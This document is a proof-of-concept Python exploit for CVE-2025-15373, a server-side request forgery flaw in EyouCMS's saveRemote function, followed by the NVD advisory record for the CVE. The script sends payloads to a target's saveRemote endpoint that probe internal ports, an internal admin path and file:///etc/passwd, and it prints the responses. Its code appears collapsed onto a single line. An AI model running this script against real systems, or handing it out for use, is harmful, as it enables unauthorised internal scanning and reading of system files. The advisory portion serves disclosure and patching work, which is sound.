CVE-2025-15373

import requests # CVE-2025-15373 SSRF PoC for EyouCMS # Target: EyouCMS <= 1.7.7 # Vulnerability: saveRemote function in application/function.php TARGET_URL = "http://target.com/eyoucms/" def test_ssrf(): """Test for SSRF vulnerability in saveRemote function""" # Test basic SSRF - internal port scanning payloads = [ "http://127.0.0.1:80", "http://127.0.0.1:22", "http://127.0.0.1:3306", "http://localhost/admin", "file:///etc/passwd" ] for payload in payloads: data = { 'url': payload, 'function': 'saveRemote' } try: response = requests.post( f"{TARGET_URL}index.php?s=/ajax/saveRemote", data=data, timeout=5 ) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") print("-" * 50) except Exception as e: print(f"Error testing {payload}: {e}") if __name__ == "__main__": test_ssrf() print("PoC completed. Upgrade to EyouCMS v1.7.8 to patch this vulnerability.")

{"cve": {"id": "CVE-2025-15373", "sourceIdentifier": "[email protected]", "published": "2025-12-31T04:15:53.200", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in EyouCMS up to 1.7.7. Impacted is the function saveRemote of the file application/function.php. Such manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor is \"[a]cknowledging the existence of the vulnerability, we have completed the fix and will release a new version, v1.7.8\"."}, {"lang": "es", "value": "Se ha detectado una vulnerabilidad de seguridad en EyouCMS hasta 1.7.7. Afectada es la función saveRemote del archivo application/function.php. Dicha manipulación conduce a una falsificación de petición del lado del servidor. Es posible lanzar el ataque de forma remota. El exploit ha sido divulgado públicamente y puede ser utilizado. El proveedor declara: 'Reconociendo la existencia de la vulnerabilidad, hemos completado la corrección y lanzaremos una nueva versión, v1.7.8'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eyoucms:eyoucms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.8", "matchCriteriaId": "BFE6DC6B-F843-4E20-AE7F-ADC5D372E4BF"}]}]}], "references": [{"url": "https://note-hxlab.wetolink.com/share/DeUFyoSjsPPK", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://note-hxlab.wetolink.com/share/DeUFyoSjsPPK#-span--strong-proof-of-concept---strong---span-", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.339081", "source": "cna@vuldb ... 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